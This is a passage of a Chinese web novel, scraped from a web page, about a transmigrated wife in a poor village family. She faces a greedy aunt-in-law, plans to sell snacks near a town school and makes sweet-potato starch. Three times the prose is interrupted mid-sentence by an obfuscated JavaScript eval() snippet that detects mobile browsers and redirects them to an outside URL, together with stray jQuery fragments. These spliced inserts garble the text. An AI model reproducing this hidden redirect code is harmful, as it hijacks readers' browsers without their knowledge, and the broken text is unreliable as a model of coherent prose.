虽然只买了一点儿肉，但董春娘足足蒸了二十多个包子。 筐子里留了八个包子，其余的放在厨屋晾凉，等一会儿吃过饭吊在房梁上。 霍小芽收拾完灶台，看着摆放在厨屋的包子，心思一转，拿过一旁的竹筐，将剩下的包子放了进去，走回堂屋，挂在了里间的房梁上。 董春娘见状，道：“包子还没凉透呢，你咋这么快就收起来了？” 霍小芽：“我怕厨屋有老鼠。” 秦书锦看了霍小芽一眼。昨日她便觉得霍小芽并非是个懦弱的小姑娘，她其实很聪明，再结合梦中看到的情形，她猜霍小芽此举定是有深意。 董春娘虽不赞同女儿的做法，但还是道：“这回放就放了，下回别放那么早，包子还是热的，容易黏在一起。” 霍小芽：“知道了。” 包子和汤上桌，霍家开饭了。 霍子规咬了一口包子，一脸满足，笑得见牙不见眼。他还没嚼完嘴里的包子，就笑着说：“肉包子真好吃！” 明明生来是皇家子嗣，三岁前过得也是锦衣玉食的生活，如今却连肉都吃不起了。秦书锦对这个孩子多了几分心疼。 董春娘笑着说：“咱们这回包的包子多，一会儿你多吃一个。” 霍子规点头：“嗯！” 霍二山董春娘霍小芽虽然没说什么，但脸色也十分好看，可见对肉包子很喜欢。 秦书锦本以为自己没那么馋肉的，但在吃了一口后，眼底也流露出来惊讶的神色。明明包子里没多少肉，可味道却好得不得了。 包子皮薄馅多，虽看不到肉，口中却有淡淡的肉香，鲜嫩多汁。不夸张地说，这是她吃过的最好吃的包子。 她今日观察过，这个馅儿是霍二山调的，他也没放什么，可做出来的东西就是比普通人好吃。 秦书锦又吃了一口，忍不住夸道：“爹，您这手艺可真好！” 霍二山笑了笑，这回多说了一句：“我从前在酒楼当过学徒，见过厨子炒菜。” 怪不得。 不过，单单是看过就能做这么好吃，可见霍二山在做饭一事上有天赋。 这厨艺不去赚钱真是可惜了。 秦书锦嘴里吃着包子，心里却在琢磨着该如何赚钱。 就在这时，一个熟悉的尖锐的声音响了起来。 “呦，老远就闻到了肉味儿，原来二弟一家在吃肉包子啊！” 10. 第10章 秦书锦抬眸看向来人。 这是昨日在山上见过的那个妇人，她身边跟着个七八岁的小男孩儿，祖孙二人的目光都落在了筐子里的包子上。 在见过妇人后，晚上她脑海中便出现了一些关于妇人的画面。这妇人是霍耘的大伯母，家里过得比霍耘家好，瞧不上霍耘一家，她们二人从前吵过好几次。 众人跟她打着招呼。 “大嫂。” “大伯娘。” 赵婆子：“二弟，你们一家过得可以啊，都吃上肉包子了。是不是耕哥儿背着他岳丈和媳妇儿补贴你们了？” 赵婆子之所以这样说是因为霍耕入赘到了镇上一户有钱人家，刚成亲时霍耕的确常常回家来，每次都不空着手，但是后来却很少见他回来了。 “没有，不是。” 霍二山嘴拙，除了否定，一个旁的字也说不出来。 董春娘：“家里一个月没见过荤腥了，就去镇上割了点儿肉。” 赵婆子看着众人碗里的东西，阴阳怪气地道：“哎呦，还喝上白米粥了。” 那语气别提有多膈应人了，仿佛霍二山一家人就只配吃糠咽菜，不配吃肉包子和白米粥。 河哥儿仰头看向赵婆子：“奶，我想吃肉包子。” “奶给你拿。”赵婆子毫不客气，问都不问一声，直接将手伸向了竹筐里的肉包子。 看着赵婆子长长的指甲，以及指甲缝里黑色的泥，秦书锦有些犯恶心。 赵婆子从筐子里拿出来一个包子递给了孙子，接着又拿了一个，自己吃了起来。吃了几口之后，还不忘嫌弃一番：“二弟妹，你们咋这么小气，肉包子里也没肉，全都是菜。” 不问自拿不说，还嫌这嫌那，秦书锦着实不喜欢眼前的这个婆子。 河哥儿吃完，又看向了赵婆子。 “奶，我还想吃。” 赵婆子：“奶再给你拿。” 此刻竹筐里就只剩下一个包子了。霍家每个人只吃了一个，河哥儿却要吃两个。哪有这样的好事。 秦书锦眼疾手快，在赵婆子碰到肉包子前先将包子拿走了。 赵婆子见手落空了，脸色顿时就变了。 “耘哥儿媳妇，你一个大人竟还跟孩子抢吃的。从前旁人都说你馋，我还没觉得，今儿倒是觉得旁人说得没错。” 秦书锦没搭理她，她看向霍子规，问：“吃饱了吗？” 霍子规看了一眼赵婆子，诚实地摇了摇头。 赵婆子：“哎呦，你还知道心疼子规了。别是黄鼠狼给鸡拜年，不安好心吧。” 秦书锦将肉包子掰开，给了霍子规一半。 赵婆子见状，以为秦书锦要把另一半给她孙子，脸上带了一点笑，改了口：“是大伯娘误会你了，不愧是秀才的女儿，还是你懂事。” 她伸手要接过来包子，却见秦书锦将包子递给了一旁的霍小芽。 霍小芽害怕似的看向了赵婆子，结结巴巴道：“二嫂，我……我……吃……吃……” 饱了。 后面两个字还没说出口，就看到秦书锦瞪了她一眼。 霍小芽一向畏惧秦书锦，看着她的眼神顿时不敢说后面的字了。 秦书锦：“接过去。” 和大伯母相比，霍小芽更怕嫂子。 况且，她根本就没吃饱。 霍小芽伸手接过了包子。 赵婆子看向霍小芽，言语间多有不屑：“你一个丫头片子吃什么肉包子，还不赶紧拿过来。” 霍小芽抿了抿唇，垂下了头，但包子却紧紧拿在了手中。 秦书锦不客气地怼了回去：“你一个外人都能吃，小芽怎么就不能吃了？” 赵婆子跟秦书锦吵过几次，但她吵不过秦书锦。 河哥儿见包子没给他，顿时就坐在地上撒泼。 “奶，我要吃包子，我要吃肉包子！” 一边说一边哭。 一方是自己的嫂子，一方是儿媳，两边都不能得罪。 老实的霍二山董春娘左看看右看看一时不知该怎么办。 赵婆子瞪了秦书锦和霍小芽一眼，蹲下身子哄孙子。 “不哭了不哭了，奶给你找肉包子。” 说着赵婆子在堂屋翻找起来，没找到又去厨屋转了一圈，仍旧没找到。 此刻秦书锦终于明白霍小芽将包子藏起来的用意了，原来她早就防着赵婆子了，这小丫头还挺机灵的。她不是书中一笔带过的小透明，而是成了一个有血有肉有灵魂的人。 赵婆子没找到肉包子，气不打一处来，她领着孙子回到堂屋，看着秦书锦道：“耘哥儿媳妇儿，我本还想给你留点脸，没想到你敢这么干。” 秦书锦继续吃饭，全当做没听到。 赵婆子一拳打在了棉花上，气没撒出来，她又看向了霍二山董春娘。 “二弟，二弟妹，你们这儿媳可真是厉害，昨儿在山上就刺了我一阵，今儿又这样。我可是你们亲嫂子，是耘哥儿的亲伯娘，你们可得好好管管她！” 霍二山董春娘羞红了脸，依旧说不出来话。 瞧着这二人的反应，赵婆子更气了。 “你们可别忘了耘哥儿成亲时欠了我家一百文钱，既然有钱吃肉包子，那就赶紧还钱吧。” 依旧没人应。 赵婆子见无人帮她，她站起身来，领着孙子要离开。走之前，她瞥到了一旁大桌子上的肉骨头，朝着那边走去，伸手拿走了。 秦书锦第一次见脸皮如此厚的人，今日算是开了眼了。 吃别人东西，拿别人东西时不客气，别人欠她的钱她倒是挂在嘴边。 既然要算钱，那就算清楚了。 “肉骨头一文钱一根，肉包子两文钱一个，一共五文钱。” 赵婆子停下脚步，脸涨得通红。 “我可是你的长辈，咱们是一家人，你竟还给我算账。” 秦书锦：“大伯娘方才要钱时可是算得清清楚楚的，我为何不能跟你算钱？这些东西可是我拿嫁妆买的。” 赵婆子脸涨得通红，把肉骨头扔在了桌子上，怨气转到了霍二山董春娘身上：“瞧瞧你们俩这窝囊的样子，怪不得日日被这小媳妇儿欺负，真是活该！” 说着赵婆子领着哭闹不止的孙子离开了。 霍二山董春娘站了起来，董春娘追了过去，劝了赵婆子几句，赵婆子甩开了她，骂骂咧咧地离开了。 霍家又恢复了平静。 霍二山董春娘看了看儿媳，又看向了女儿和孙子手里的包子，叹了叹气，但也没说什么，又坐下来继续吃饭了。 霍小芽则是一脸崇拜地看向秦书锦。 从前她怕死嫂子发火了，生怕嫂子骂她打她，如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405654|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂子这火气对准了外面，当真是让人身心舒爽。她啥时候能像嫂子一样厉害啊！不，她只要能有嫂子一半厉害就够了。 “嫂子，你吃。”霍小芽把那一半包子递给了秦书锦。 秦书锦看着面前的包子，道：“你正是长身体的时候，赶紧吃了吧。” 霍小芽眼含泪光，她转过头，看向霍二山董春娘：“还是爹娘吃吧。” 霍二山没说话，董春娘道：“你嫂子让你吃你就吃了吧。” 霍小芽又看向霍子规。 霍子规拍了拍肚皮：“姑姑，我吃饱了！” 霍小芽低头小口小口吃起了肉包子。 这一幕着实让人心中不舒服，秦书锦端起汤喝了一口。一个肉包子而已，大家却抢来抢去，让来让去，说到底，都是因为没钱，她还是赶紧想想法子赚钱吧。 秦书锦见霍二山董春娘没有指责她，放心了许多。 她不怕霍二山董春娘老实，就怕他们是非不分太重亲情，一味地对大房服软，那样就麻烦了。 等吃过饭后，秦书锦和霍小芽一同收拾。 到了厨屋，秦书锦道：“多亏你今日多了个心眼儿，把包子收了起来。” 得到夸赞，霍小芽有些不好意思，她还怕嫂子说她太小气呢。 秦书锦问：“大伯娘一家是不是经常过来拿东西？” 霍小芽点头：“嗯，大家同在一个村子里，只要咱们家做好吃的，大伯娘闻到味道就过来。” 怪不得霍小芽能提前预知，原来如此。 “对了，那一百文是怎么回事？” 霍小芽：“是二哥和二嫂成亲时借的。那时家里没有多出来的银钱了，就去问大伯借了些。后来大堂嫂从咱家拿了半匹粗布，说是抵了那一百文。可过了没多久大伯母就不认账了，非说没看到布，要咱们家还钱。” 秦书锦：“这婆媳俩是不是串通好的？” 霍小芽：“今儿大伯娘身上穿的衣裳就是从咱家拿走的布做的。” 秦书锦很是无语。 “这不是无赖么？大伯和大堂哥怎么说？” 霍小芽：“大堂哥没出面，大伯来咱家说不用还了，还说他们家占了咱们便宜，让大伯娘给咱家二十文钱，大伯母不愿意，也没给咱家钱。但私下大伯娘还是喜欢提这事儿。” 秦书锦点了点头。 赵婆子虽然不是个好的，但这个大伯还算明事理。这时代是男子当家，只要大伯是个明事理的，两家人就不会散。 吃过饭后，霍二山董春娘一人背着一个竹筐，准备去地里干活儿。 秦书锦好奇地问：“爹娘，你们去山上吗？” 董春娘：“不是，去地里干活，挖些野菜，明日一早去县城卖。” 秦书锦：“我跟着你们一起去吧。” 董春娘拒绝了：“不用不用，左右我们也闲着无事干，你和小芽在家就行。” 二人很快就去了地里，等到天黑才回来，一人背着一个重重的竹筐。 当晚，秦书锦一直忐忑不安地等着霍耘回来，但直到天黑透了也不见他的踪影。 这时，董春娘从堂屋出来了，朝着门口走去。 秦书锦推开窗看了一眼，只见她去将门锁上了。由此可见，霍耘今晚应该是不会回来了。 累了一日了，秦书锦终于放心地睡了。 11. 第 11 章 第二日，不到卯时，霍二山董春娘醒了过来。他们二人去了屋后，摘了些蔬菜。霍小芽听到动静也起床了，帮忙去摘菜。 竹筐很快就摘满了。一个约摸有二十斤，一个三十斤。 霍小芽：“爹娘，我跟你们一起去，路上也好搭把手，换着背。” 董春娘：“你别去了，我跟你爹一起去，你在家伺候好你嫂子。” 霍小芽想了想，跑去堂屋，将吊在房梁的竹筐拿了下来，从里面拿了四个包子，用布包好，拿去给霍二山董春娘。 董春娘：“这肉包子你们留着吃，你去拿俩馒头，我们带着路上吃。” 霍小芽：“肉包子还挺多的，你们拿着吧，嫂子知道了也不会说什么的。” 霍二山：“不用，你去拿俩馒头，我跟你娘要是饿了路上吃。” 霍小芽拗不过霍二山董春娘，将肉包子拿了回去，又拿了两个馒头。 董春娘：“咱家的鸡下的蛋就不拿去换钱了，你们一人吃一个。” 霍小芽有些惊讶。昨日他们就吃过鸡蛋了，今日竟然还可以吃。 “二哥拿回来钱了？” 董春娘笑着点了点头。 交待完女儿，霍二山董春娘背起重重的竹筐，朝着县城走去。虽然竹筐有些重，但想到能卖些钱，两个人脸上充满了笑容。 秦书锦隐约听到一些动静，她睁开眼，瞧着天还没亮，又迷迷糊糊睡着了。等一觉睡醒，天光大亮。她起床去洗漱，看到厨屋里做饭的人变成了霍小芽。 洗漱完，秦书锦朝着厨屋走去，问道：“娘呢？” 霍小芽：“爹娘去县城卖菜了。” 秦书锦：“何时去的？” 这会儿卯时刚过。 霍小芽：“不到卯时就去了。” 秦书锦想到自己隐约听到的动静，约摸猜到了。 “怎么去那么早？” 霍小芽：“爹娘怕去晚了就卖不出去了。” 秦书锦：“嗯。” 早上买菜的人多，去早一些的确更好卖。 早饭热的包子馒头，喝的是鸡蛋汤。 在得知霍二山董春娘只带了两个馒头就去了县城，秦书锦顿时觉得嘴里的肉包子没那么香了。她明明刚穿过来没两日，照理说应该对这些人没什么感情，可她仍旧觉得心里不舒服。 霍耘不是给他们钱了么，怎么还过得这么拮据。 霍小芽多少了解爹娘的性子，解释了一句：“家里以后用钱的地方多，爹娘想攒下来一些。” 秦书锦心情沉重地点了点头：“嗯。” 吃过饭后，秦书锦想到自己的计划，叫上霍小芽和霍子规一起出门了。 离开前，霍小芽去跟隔壁的邻居打了声招呼。 “兰婶儿，嫂子带着我和子规去镇上，一会儿我爹娘要是回来了您跟他们说一声。” “哎，好。”兰婶儿应道。 等三人走后，兰婶儿跟丈夫嘀咕道：“真是太阳打西边出来了，隔壁那小媳妇儿出去玩竟还带上小芽和子规了。” 贵子叔：“他们都是一家人，带上他俩也没啥好稀奇的。” 兰婶儿：“你看出个啥了，那小媳妇儿看着不像是个能过日子的，不知道憋着什么坏呢！” 贵子叔：“她爹是个读书人，她能坏到哪里去？” 兰婶儿瞪了丈夫一眼，懒得跟他争辩了。 到了镇上后，秦书锦直奔修建寺庙的地方。 上次来镇上时她观察过了，这里是镇上人最多的地方，也最容易卖吃食，她想的便是这个法子。她找到他们下工的地方，找了个阴凉处，观察着那些男子。 霍子规去一旁抓虫子玩儿。 霍小芽见嫂子的眼睛直勾勾地盯着那些男子，不知秦书锦的意图，顿时紧张起来。 “嫂……嫂子，咱们走吧，爹娘应该快回来了，若是发现咱们不在，该着急了。” 秦书锦眼睛一直盯着那些男子，抬手扯了扯霍小芽，示意她坐下。 “不急，我再看会儿。” 他们今日来得巧，正好赶上下工。 霍小芽瞧着嫂子认真的眼神，越发着急了。 嫂子不会是看上谁了吧？二哥咋办？大家不是说嫂子只喜欢有钱人么，那些人明显都是普通的百姓，嫂子不会真的看上他们了吧？ “二嫂，那些人没钱。” 秦书锦看着男子手中的馒头，赞同地点头：“嗯，看出来了，他们干得都是体力活，肉却不舍得吃，最多吃个鸡蛋。” 霍小芽松了一口气。 过了一会儿，见二嫂拿着个棍子在地上写写画画，一边看，脸色还越来越好看，又着急起来。 她憋了半天，道：“二嫂，他们……他们……” 秦书锦抽出一点空看向霍小芽。 “他们咋了？” 霍小芽：“他们不如二哥长得好看。” 秦书锦虽觉得霍小芽怪怪的，但还是笑着说：“你倒是有眼光，他们确实不如你二哥长得好。” 说完，又继续盯着那些男子看了。 霍小芽继续提醒：“二哥明日差不多就该回来了。” 秦书锦在记录着什么，没注意霍小芽说了啥，嘴里应了一声：“嗯。” 霍小芽叹气。 这几日嫂子转了性子，不再想着卖了她和子规，对家人也和善了许多，可她却还是看不上二哥。 这该如何是好。 约摸过了两刻钟左右，这些男人吃过饭又继续干活儿了。 秦书锦看了看地上写的内容。 一共四十三人，其中五人离开了此处，不知去了哪里，她猜这些人要么本身是镇上的，回家吃饭去了，要么就是去镇上买吃食了。剩下的三十八个人中，有五人去一旁的面摊上吃饭，面五文钱一碗，加鸡蛋的六文钱，两人加了鸡蛋，剩下三人没加。还有十一人去买了馒头，馒头一文钱一个，这十一人买馒头的数量在两到四个。剩下的二十四人从家里带的饭菜，有十四人带的馒头，有四人带的饼，两人带的面条，还有四人带的米饭。这二十四人中，有十人带了咸菜，四人带了炒的菜，大家带的馒头数量也是在两到四个。 秦书锦轻叹一声。 怪不得人那么多，这附近却没什么卖吃食的店家。这里的生意确实不好做啊。在寺庙做工的人一日赚二十文左右，他们多半出身贫寒，家里没钱，不舍得去买吃食，即便去买也不愿多花钱。他们只求吃饱，不求吃好。 罢了，再去别的地方试试吧。 她站起身，用脚将地上的痕迹抹去。 “走，去镇上看看。” 霍小芽有些摸不着头脑，但见嫂子肯走了，她松了一口气。 三人朝着镇子走去，路上，一群孩童在大人的引领下去了一处，有孩童哭闹想回家，大人却不同意。 这画面怎么这么熟悉。 秦书锦好奇地停下了脚步。 霍小芽也停了下来，看向了那处。 秦书锦：“那是学馆吗？” 霍小芽看着学馆，眼底流露出来一丝羡慕：“对，是镇上唯一的一个学馆。” 霍子规好奇地问：“小姑姑，学馆是干啥的？” 霍小芽：“读书的地方。” 这时，赵婆子带着河哥儿来了。 河哥儿娇生惯养，一心只想着玩，不爱读书。他显然不想进去，跟昨日一般坐在地上撒泼打滚。 赵婆子哄着他一会儿给他买好吃的，河哥儿依然不去。赵婆子没办法了，轻轻打了他几下威胁他，他依旧躺在地上不起来。 眼见着赵婆子也没法子了，这时，一个身着白衣，长相清秀，约摸二十岁左右的男子从里面出来了。 “霍子河。” 他声音不大，听起来却极有威严。 河哥儿立即不哭不闹了，动作麻利地从地上爬了起来，躲在了赵婆子身后，他扯着赵婆子的衣袖，小声道：“奶……奶，我不想去读书了。” 赵婆子：“你别怕，受委屈了跟奶说，奶给你做主。” 崔夫子冷眼看向躲在赵婆子身后的河哥儿：“还不进去吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405655|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河哥儿顿时不敢言语，松开赵婆子的衣袖，一溜烟跑去了学馆里面。 赵婆子见孙子这般心里有些不高兴，觉得是眼前的男子欺负了她家宝贝孙子。这男子还没她儿子大，竟然这么大的排场。她今日要好好说说他。 “你这夫子咋能吓孩子呢？怪不得我家孙儿不想来读书，肯定是被你吓的！” 崔夫子皱了皱眉，看向赵婆子，冷声道：“若不想读书就把孩子领走。” 见崔夫子这般硬气，赵婆子顿时不敢再说，只道：“我家教了束脩，咋就不能去读书了？要是退学的话，你得把束脩还给我们。” 崔夫子：“可以，按天数算，拿完钱就把孩子领走。” 镇上就这么一家学馆，赵婆子不过是想威胁一下夫子罢了，这学馆还是儿子托人才将孙子送进去的，她哪里是真的要带着孩子走。见崔夫子这样说，她顿时不敢再说那些话，态度也软和下来。 “先……先不领了，你若是再这样对我大孙子，我定要带孩子走。” 崔夫子：“随便你。” 赵婆子闹了个没脸，灰溜溜地走了。 崔夫子正想转身离开，忽察对面一道目光，看了过去。 他的目光在秦书锦身上停留了片刻，又落在了一旁的霍子规身上，仔细辨认了一下，见不是自己的学生，便转身朝着学馆走去。 霍小芽刚刚一直不敢呼吸，那夫子虽然是在训斥河哥儿，她却觉得像是在训斥自己一般。她低声道：“这夫子好吓人啊，怪不得河哥儿不想去读书。” 秦书锦：“严师出高徒，这样严厉的先生才是好先生，若天天顺着他们，还学什么知识。” 霍子规突然道：“娘，我也想去读书！” 秦书锦低头看向霍子规，没注意到已经转身离去的崔夫子停下了脚步，看了一眼他们这边，随后又进去了。 霍小芽：“子规，你不觉得夫子很凶吗？” 霍子规抿了抿唇，思索许久，道：“可我想读书。” 霍小芽：“为什么？” 霍子规也说不清楚为何，他就是觉得读书人都很厉害。河哥儿喜欢欺负他，他跟爷奶告状，爷奶也管不了河哥儿。可方才的夫子不过是看了河哥儿一眼，河哥儿就吓得不敢说话了。要是他读了书，河哥儿肯定不敢再欺负他了。 “我就是想读书。” 对于霍子规想读书一事秦书锦没什么看法，她比较意外的是另一件事。 “你没读过书？” 霍子规摇头：“没有。” 秦书锦有些不解了。辰王临终前将儿子托付给霍耘，定是让他记住仇恨，将来谋反完成其未完成的大业。若是完成大业，怎么也得有点本事在身上，霍耘为何没找人教他读书习字？ “那你可会武艺？” 霍子规摇头：“不会。” 不读书不习武，霍耘这个护卫也太不称职了。 秦书锦：“那你想学吗？” 霍子规犹豫了一下，道：“不想。” 武艺什么的先不说，不管他将来要做什么，书总是要读的，道理也要明白。 秦书锦看了一眼紧闭的学馆大门，道：“等家里赚了钱娘就送你去读书。” 霍子规眼睛亮亮的：“嗯！” 霍小芽：“嫂子想好如何赚钱了？” 秦书锦笑着点了点头。 她环顾了一圈，昨日她们经过此处时还没什么人，此时上学的点儿却有不少小商贩。有卖包子的，有卖馄饨的，还有卖糖葫芦的。 镇上的消费水平普遍不高，但这里不同。能送孩子来读书的人家里条件自然是不差的，他们也舍得在孩子身上花钱。 若说谁的钱最好赚，一个是女子，一个是孩子。化妆品和衣服啥的她不会弄，卖一点小孩子爱吃的吃食她还是可以做到的。 这学馆虽然开在了镇上，但学生却不算少，据她刚刚的观察里面有二三十个学生。 要么是这家学馆束脩低，要么就是这里的夫子教得好。不管是哪一种，她的客源能保证了。 12. 第 12 章 秦书锦几人回到家时霍二山董春娘还没回来。他们二人是走着去的，光是路上就得用几个时辰。 方才回来的路上秦书锦一直在想做什么吃食，她得先做一些能吸引小孩子的东西试试水。想来想去，想到了一种吃食。 “小芽，家里是不是有红薯？” 她记得昨日听到董春娘提到过红薯，猜测家里应该有。 霍小芽点头，心里也有些疑惑。之前娘蒸了红薯，嫂子很是嫌弃。今日为何主动提出来了。 “有，嫂子是想吃吗？” 秦书锦：“不吃，拿来做小零嘴。” 霍小芽有些惊讶，红薯不是裹腹用的么，如何做零嘴？ 她也没多问，去堂屋里间拿出来几个红薯。 她先将红薯清洗干净削皮，然后用家里的石磨将红薯磨成浆，拿过来一个盆和纱布过滤，最后放在一旁的盆子里沉淀。 有霍小芽的帮助，一切都很顺利。 等到午正时分，霍二山董春娘二人终于背着竹筐回来了。 霍小芽上前接过了二人背上的竹筐。 秦书锦好奇地走了过去，她瞥了一眼地上的竹筐，竟然还有半筐，剩下的多半是野菜。 “爹娘，你们怎么这么晚才回来？” 董春娘：“菜不好卖，我和你爹等到菜场没人了才回来。” 秦书锦：“这些野菜也不值钱，何苦背回来，送给客人便是。” 董春娘有些无奈地解释：“送也没人要。” 霍小芽不解，这些野菜挺好的啊，昨日她和嫂子很快就卖出去了。咋爹娘卖的时候就没人要了。 董春娘又道：“我和你爹想着扔了也怪可惜，就都带回来了。” 秦书锦：“你们卖了多少东西？” 董春娘有些不好意地道：“就卖了三斤莴苣，两斤芹菜。” 霍小芽算了算，道：“一斤三文钱，一共十五文。” 董春娘坐在一旁的板凳上，捶了捶酸痛的肩膀，道：“没那么多，两文一斤卖的，就卖了十文钱。” 跟儿媳和女儿比，他们二人卖得太便宜了些。 霍子规原本在逗鸡，见董春娘捶肩，立即跑了过去，为董春娘捶肩。 董春娘的疲惫一扫而空，一脸笑意地看向孙子。 “不用你捶，别累着你了，去玩吧。” 霍子规：“我不累。” 秦书锦看了一眼霍子规。霍子规既想读书，又孝顺听话，怎么就成了书中暴戾的形象。看来差点被拐一事对他的影响颇深，以至于他性格一夕之间发生了改变。 她垂眸看向了面前的菜，觉得有些不可思议，背了那么多菜，竟然只卖掉那么少。 “这样说起来跟镇上差不多了。” 霍小芽看了一眼秦书锦，想到昨日卖菜时的情形，道：“昨儿我们旁边的大婶儿也没卖出去多少，就我和二嫂卖得快。” 霍二山笑着说：“虽不如昨日卖得高，但也算不错了，至少卖出去了。明儿我和你娘再去一趟。” 听到这话，秦书锦看向了霍二山。 她本想劝几句的，可她也知道这些菜与其烂在地里倒不如卖掉，只是要辛苦一些。 在家里休息了一会儿后，霍二山董春娘又下地去干活了。 这时红薯淀粉已经沉淀的差不多了，秦书锦将上面的杂质清理掉。 霍子规好奇地跑了过来，瞧着盆里白得出奇的红薯淀粉，惊讶地道：“娘，这是啥，这么白啊！” 秦书锦笑着说：“就是咱们平日里吃的红薯。” 霍子规：“啊？” 他那小脑瓜实在是想不通为何红薯会变成白色。 一旁在做绣活的霍小芽也想不通。 秦书锦又将红薯粉过滤了几遍，放在阳光下去晾晒。 “等明日弄好了，娘给你做好吃的。” 一听有好吃的，霍子规的眼睛立即就亮了起来。 第二日上午，红薯淀粉晒干了，秦书锦将淀粉收了起来。 霍二山和董春娘去镇上卖菜回来了，今日还不如昨日，只卖了八文钱。但他们二人脸上却是带着笑的，还跟他们说起在县城买菜的事情。 秦书锦沉默地看着他们二人。 董春娘既然能给她一钱银子，那就说明霍耘给了他们不少银子。儿子给了那么多银子也不见他们开心，自己赚了几文钱却开心的不得了。看来他们二人都是闲不住的人，也不想给儿女增添负担，都是善良的人。 秦书锦刚回屋准备躺下休息一会儿，就看到有人从外面进来了。来人是个年轻的妇人，长得挺漂亮的，就是有些瘦，一脸疲惫的模样，这妇人看起来有些眼熟。 “小草，你咋这时候回来了。”董春娘惊喜的声音响了起来。 “爹，娘。”霍小草道。 原来这年轻妇人是霍耘的大妹妹，怪不得她见到她就觉得有些眼熟，她跟董春娘长得挺像的。既然家里来了客人，秦书锦就不好躺下了。她整理了一下衣裳，从西屋出去了。 霍小芽：“大姐。” 霍小草：“二妹。” 霍小草听到开门的声音朝着西边看了过去，见出现的人是秦书锦，她眼底闪过一丝害怕，小声唤了一声：“二嫂。” 看来霍家人除了霍耘所有人都怕她。 “妹妹好，快坐吧。” 霍小草惊讶地看向秦书锦，二嫂啥时候变得这么客气了。 董春娘接过话，笑着说：“你嫂子说得对，小草，你快坐。” 霍小草在堂屋檐下坐下了。 董春娘坐在她旁边，又问了一遍：“你咋这时候过来了？” 霍小草沉默了片刻，垂眸，道：“好久没回娘家了，我来家里看看。” 董春娘：“地里的活儿都干完了？” 霍小草：“还没呢，还有两亩地草没锄完。” 董春娘：“他家地多，你勤快些，多干些活。” 霍小草：“娘，我知道的，我一大早就下地了，刚从地里回来。” 秦书锦打量了一眼霍小草，她不仅长得像董春娘，性子也很像，一看就是老实的姑娘。不过，不知是不是她的错觉，她总觉得霍小草似乎有心事。她不了解霍小草，也不知是不是想多了。 霍小草抬头看了秦书锦一眼，又快速挪开了目光，看向董春娘，问道：“你跟爹身体怎么样？” 董春娘：“我和你爹都挺好的，家里的事儿你不用挂念，你跟女婿好好过日子就行。你也加把劲儿，早日生个儿子。” 听到这话，霍小草脸色微变，垂下了头。 董春娘：“娘也不是非得逼着你生，那刘家就这么一个儿子，你生了儿子在刘家的日子也能好过些。” 霍小草闷声闷气道：“嗯，我知道。” 见霍小芽端着鸡食去喂鸡了，霍小草站了起来：“娘，我去帮着小妹喂鸡。” 霍小芽从小就和霍小草住在一起，她有一个月没见姐姐了，想得很。 “姐。” 霍小草笑了笑，帮着霍小芽喂鸡。 董春娘一扭头就看到了站在一旁的秦书锦，想到自己刚刚跟女儿说的话，她怕儿媳多想，连忙解释道：“刘家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405656|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就一个儿子，着急抱孙子。咱们家不急的。” 原来董春娘误会了。 秦书锦当然不急，她跟霍耘又没什么感情，将来也未必会一直在一起。她岔开了话题，问道：“刘家对小草怎么样？” 董春娘：“刘家比咱家过得好，也是本分人家，就是她那个婆婆有些厉害。” 秦书锦明白了。 霍小草性子软，想必在刘家过得也不是多么如意。 等鸡喂得差不多了，霍小草见秦书锦在那边跟娘说话，小声问道：“二嫂有没有再欺负家里人？” 她今儿早早从地里回来就是为了此事。上个月她来时正好看到二嫂在院子里打侄子，骂爹娘，她上前劝了几句，被二嫂骂得狗血喷头，她一个出嫁女又能怎么办呢？ 霍小芽摇头：“没有。” 霍小草：“当真？” 霍小芽：“真的！二嫂这几日跟变了个人似的，对爹娘可孝顺了，也不打子规了，昨日还带着我县城赚钱了。” 霍小草惊讶地问：“咋赚钱？” 霍小芽跟霍小草说了说昨日她和秦书锦去镇上和县城的事儿。 霍小草心里的大石头终于落下了。 “那就好。二哥不在家，你多看着点，别让她把子规打坏了。” 霍小芽：“姐，前几日二哥从外面回来了。” 一听二哥回来了，霍小草是真的放心了。自从大哥入赘之后，二哥就成了家里的主心骨了，只要有二哥在，她就不怕二嫂再欺负家里人了。 霍小芽：“你婆婆对你咋样？” 霍小草不敢跟爹娘说自己在婆家过得不好，但她跟霍小芽一起长大，啥话都跟她说了。 霍小草眼神瞬间就暗淡下来。 霍小芽急了：“她又欺负你了？” 霍小草：“也没有，就是催我生孩子。哎，都一样的。” 霍小芽犹豫了一下，道：“要不……咱们跟二哥说吧？” 霍小草：“我的傻妹妹，这种事儿跟二哥说有啥用，也是我自己没用。” 霍小芽：“姐，你别这样说。” 霍小草怕妹妹多想，笑着说：“好了，家里还有一大堆活儿，我不同你多说了。” 